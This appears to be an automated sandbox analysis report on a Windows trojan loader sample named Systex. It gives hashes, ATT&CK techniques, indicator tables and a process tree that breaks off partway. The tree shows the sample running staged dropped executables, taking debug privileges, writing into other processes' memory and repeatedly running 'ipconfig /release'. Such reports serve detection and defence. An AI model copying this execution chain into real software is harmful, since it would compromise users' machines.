systex | c3d919b32fcd15bde7f43b935e1073a22a0c75abc15a6c724c0b28365df951ba

Analysis

max time kernel
150s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/07/2026, 18:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
Size 365KB
Sample260710-wya3dahs7y
SHA256 c3d919b32fcd15bde7f43b935e1073a22a0c75abc15a6c724c0b28365df951ba
MD5 20df8be3f1b1ac12ce097f66d78ebdfb
SHA1 1945050d29fd613005d0170140cb982ba11c238f
SHA512 96f6f3c38e2a9f92cf797e16d2de2f578a7edf4b5983f018ba576655f039104b4e5793c2b1632e4d0e02eb9c608de40d905533d9e437dba9a87e7cc6c321abd6
SSDEEP 3072:kuxUxtc/GaML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:kuxUxtXlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T123847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
1416	mhfzxrpjhczusmjh.exe
5024	mhfzxrpjhczusmjh.sys
6080	CreateProcess.exe
1136	mjhfzxrpjh.exe
2348	CreateProcess.exe
4248	CreateProcess.exe
4796	i_mjhfzxrpjh.exe
5832	jhbzwrpmhb.sys
1148	CreateProcess.exe
3328	heztrljebz.exe
2756	CreateProcess.exe
5384	CreateProcess.exe
5500	i_heztrljebz.exe
4296	ebztoljgby.sys
5756	CreateProcess.exe
3016	tolgeywroj.exe
3064	CreateProcess.exe
3356	CreateProcess.exe
4200	i_tolgeywroj.exe
2684	rlidbvtqli.sys
1788	CreateProcess.exe
1484	nlgdytqofd.exe
2612	CreateProcess.exe
3200	CreateProcess.exe
3536	i_nlgdytqofd.exe
4352	qnlgdyvqoi.sys
5616	CreateProcess.exe
636	dyvqnifdxs.exe
5260	CreateProcess.exe
2496	CreateProcess.exe
2592	i_dyvqnifdxs.exe
1860	sqkigaysqn.sys
5264	CreateProcess.exe
1452	nlfdxvpica.exe
2124	CreateProcess.exe
2412	CreateProcess.exe
5372	i_nlfdxvpica.exe
3848	pnhfaxspki.sys
6112	CreateProcess.exe
3452	fcausnkfdx.exe
2112	CreateProcess.exe
4792	CreateProcess.exe
1828	i_fcausnkfdx.exe
1824	fcxrpnhfzx.sys
5356	CreateProcess.exe
4984	upmhfcwusp.exe
4156	CreateProcess.exe
4172	CreateProcess.exe
3116	i_upmhfcwusp.exe
6100	mheuomkecx.sys
1028	CreateProcess.exe
4400	zwupmhczur.exe
2992	CreateProcess.exe
5720	CreateProcess.exe
6136	i_zwupmhczur.exe
3864	jgezwuomhe.sys
4508	CreateProcess.exe
3420	rojhbztrlj.exe
4292	CreateProcess.exe
2284	CreateProcess.exe
3316	i_rojhbztrlj.exe
2632	geywromgey.sys
4836	CreateProcess.exe
2352	bwtrljgbzt.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_521378125\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_521378125\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_692945486\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_692945486\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3332_560052880\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 36 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlgdytqofd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fcausnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxspnhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mjhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_heztrljebz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlgdytqofd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	upmhfcwusp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zwupmhczur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zwupmhczur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qligavtnig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxspnhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdxvpica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhbzurpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tolgeywroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbytqligb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpjhcausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bwtrljgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	heztrljebz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dyvqnifdxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fcausnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_upmhfcwusp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rojhbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhfzxrpjhczusmjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mjhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rojhbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwtrljgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbytqligb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxspnlfau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dyvqnifdxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qligavtnig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpjhcausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdxvpica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxspnlfau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tolgeywroj.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2304	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 18 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3224	ipconfig.exe
4620	ipconfig.exe
4220	ipconfig.exe
3140	ipconfig.exe
1996	ipconfig.exe
3364	ipconfig.exe
5560	ipconfig.exe
2032	ipconfig.exe
4732	ipconfig.exe
4780	ipconfig.exe
4240	ipconfig.exe
3560	ipconfig.exe
3232	ipconfig.exe
5564	ipconfig.exe
2664	ipconfig.exe
5448	ipconfig.exe
3444	ipconfig.exe
1284	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2246396966-3025826688-3847171515-1000\{0577AF38-B894-4BE7-A9D7-0F6D327E9B2E}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1416	mhfzxrpjhczusmjh.exe
1416	mhfzxrpjhczusmjh.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1416	mhfzxrpjhczusmjh.exe
1416	mhfzxrpjhczusmjh.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1416	mhfzxrpjhczusmjh.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1416	mhfzxrpjhczusmjh.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1416	mhfzxrpjhczusmjh.exe
1416	mhfzxrpjhczusmjh.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1416	mhfzxrpjhczusmjh.exe
1416	mhfzxrpjhczusmjh.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1416	mhfzxrpjhczusmjh.exe
1416	mhfzxrpjhczusmjh.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1416	mhfzxrpjhczusmjh.exe
1416	mhfzxrpjhczusmjh.exe

Suspicious behavior: LoadsDriver 17 IoCs

pid	Process
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe
3332	msedge.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	4796	i_mjhfzxrpjh.exe
Token: SeDebugPrivilege	5500	i_heztrljebz.exe
Token: SeDebugPrivilege	4200	i_tolgeywroj.exe
Token: SeDebugPrivilege	3536	i_nlgdytqofd.exe
Token: SeDebugPrivilege	2592	i_dyvqnifdxs.exe
Token: SeDebugPrivilege	5372	i_nlfdxvpica.exe
Token: SeDebugPrivilege	1828	i_fcausnkfdx.exe
Token: SeDebugPrivilege	3116	i_upmhfcwusp.exe
Token: SeDebugPrivilege	6136	i_zwupmhczur.exe
Token: SeDebugPrivilege	3316	i_rojhbztrlj.exe
Token: SeDebugPrivilege	5692	i_bwtrljgbzt.exe
Token: SeDebugPrivilege	5724	i_jdbytqligb.exe
Token: SeDebugPrivilege	1836	i_qligavtnig.exe
Token: SeDebugPrivilege	4964	i_faxspnlfau.exe
Token: SeDebugPrivilege	3372	i_zxspnhfzxr.exe
Token: SeDebugPrivilege	4304	i_xrpjhcausm.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3332	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3476 wrote to memory of 1416	3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe	86
PID 3476 wrote to memory of 5688	3476	2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe	87
PID 5688 wrote to memory of 3332	5688	iexplore.exe	88
PID 3332 wrote to memory of 4608	3332	msedge.exe	89
PID 3332 wrote to memory of 1972	3332	msedge.exe	90
PID 3332 wrote to memory of 2304	3332	msedge.exe	91
PID 3332 wrote to memory of 1972	3332	msedge.exe	90
PID 3332 wrote to memory of 1972	3332	msedge.exe	90
PID 3332 wrote to memory of 5740	3332	msedge.exe	92
PID 3332 wrote to memory of 5740	3332	msedge.exe	92
PID 3332 wrote to memory of 1788	3332	msedge.exe	93
PID 3332 wrote to memory of 1788	3332	msedge.exe	93
PID 3332 wrote to memory of 1788	3332	msedge.exe	93
PID 3332 wrote to memory of 4184	3332	msedge.exe	94
PID 3332 wrote to memory of 4184	3332	msedge.exe	94
PID 3332 wrote to memory of 4184	3332	msedge.exe	94
PID 3332 wrote to memory of 3372	3332	msedge.exe	96
PID 3332 wrote to memory of 3372	3332	msedge.exe	96
PID 3332 wrote to memory of 3372	3332	msedge.exe	96
PID 3332 wrote to memory of 1160	3332	msedge.exe	97
PID 3332 wrote to memory of 1160	3332	msedge.exe	97
PID 3332 wrote to memory of 1160	3332	msedge.exe	97
PID 3332 wrote to memory of 3028	3332	msedge.exe	100
PID 3332 wrote to memory of 3028	3332	msedge.exe	100
PID 3332 wrote to memory of 3744	3332	msedge.exe	102
PID 3332 wrote to memory of 3744	3332	msedge.exe	102
PID 3332 wrote to memory of 1804	3332	msedge.exe	103
PID 3332 wrote to memory of 1804	3332	msedge.exe	103
PID 1416 wrote to memory of 6080	1416	mhfzxrpjhczusmjh.exe	104
PID 3332 wrote to memory of 1116	3332	msedge.exe	107
PID 1136 wrote to memory of 2348	1136	mjhfzxrpjh.exe	109
PID 3332 wrote to memory of 3228	3332	msedge.exe	113
PID 3332 wrote to memory of 3228	3332	msedge.exe	113
PID 3332 wrote to memory of 3044	3332	msedge.exe	115
PID 3332 wrote to memory of 3044	3332	msedge.exe	115
PID 1416 wrote to memory of 4248	1416	mhfzxrpjhczusmjh.exe	116
PID 1416 wrote to memory of 1148	1416	mhfzxrpjhczusmjh.exe	120
PID 3328 wrote to memory of 2756	3328	heztrljebz.exe	122
PID 1416 wrote to memory of 5384	1416	mhfzxrpjhczusmjh.exe	125
PID 3332 wrote to memory of 3452	3332	msedge.exe	127
PID 3332 wrote to memory of 3452	3332	msedge.exe	127
PID 3332 wrote to memory of 3452	3332	msedge.exe	127
PID 3332 wrote to memory of 724	3332	msedge.exe	128
PID 3332 wrote to memory of 724	3332	msedge.exe	128
PID 3332 wrote to memory of 724	3332	msedge.exe	128
PID 1416 wrote to memory of 5756	1416	mhfzxrpjhczusmjh.exe	131
PID 3016 wrote to memory of 3064	3016	tolgeywroj.exe	133
PID 1416 wrote to memory of 3356	1416	mhfzxrpjhczusmjh.exe	136
PID 1416 wrote to memory of 1788	1416	mhfzxrpjhczusmjh.exe	140
PID 1484 wrote to memory of 2612	1484	nlgdytqofd.exe	142
PID 1416 wrote to memory of 3200	1416	mhfzxrpjhczusmjh.exe	145
PID 3332 wrote to memory of 5024	3332	msedge.exe	146
PID 3332 wrote to memory of 4156	3332	msedge.exe	147
PID 3332 wrote to memory of 5332	3332	msedge.exe	148
PID 3332 wrote to memory of 4692	3332	msedge.exe	150
PID 3332 wrote to memory of 4692	3332	msedge.exe	150
PID 3332 wrote to memory of 4692	3332	msedge.exe	150
PID 1416 wrote to memory of 5616	1416	mhfzxrpjhczusmjh.exe	153
PID 636 wrote to memory of 5260	636	dyvqnifdxs.exe	155
PID 1416 wrote to memory of 2496	1416	mhfzxrpjhczusmjh.exe	158
PID 3332 wrote to memory of 3088	3332	msedge.exe	160
PID 3332 wrote to memory of 3088	3332	msedge.exe	160
PID 3332 wrote to memory of 3088	3332	msedge.exe	160
PID 1416 wrote to memory of 5264	1416	mhfzxrpjhczusmjh.exe	163

C:\Users\Admin\AppData\Local\Temp\2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-10_20df8be3f1b1ac12ce097f66d78ebdfb_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3476
- C:\Temp\mhfzxrpjhczusmjh.exe
  C:\Temp\mhfzxrpjhczusmjh.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1416
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mjhfzxrpjh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6080
  - - C:\Temp\mjhfzxrpjh.exe
      C:\Temp\mjhfzxrpjh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1136
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2348
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1996
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mjhfzxrpjh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4248
  - - C:\Temp\i_mjhfzxrpjh.exe
      C:\Temp\i_mjhfzxrpjh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4796
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\heztrljebz.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1148
  - - C:\Temp\heztrljebz.exe
      C:\Temp\heztrljebz.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3328
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2756
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3560
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_heztrljebz.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5384
  - - C:\Temp\i_heztrljebz.exe
      C:\Temp\i_heztrljebz.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5500
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tolgeywroj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5756
  - - C:\Temp\tolgeywroj.exe
      C:\Temp\tolgeywroj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3016
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3064
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3444
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tolgeywroj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3356
  - - C:\Temp\i_tolgeywroj.exe
      C:\Temp\i_tolgeywroj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4200
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nlgdytqofd.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1788
  - - C:\Temp\nlgdytqofd.exe
      C:\Temp\nlgdytqofd.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1484
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2612
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3364
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nlgdytqofd.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3200
  - - C:\Temp\i_nlgdytqofd.exe
      C:\Temp\i_nlgdytqofd.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3536
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dyvqnifdxs.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5616
  - - C:\Temp\dyvqnifdxs.exe
      C:\Temp\dyvqnifdxs.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:636
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5260
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5560
- - C:\temp\CreateProcess.exe
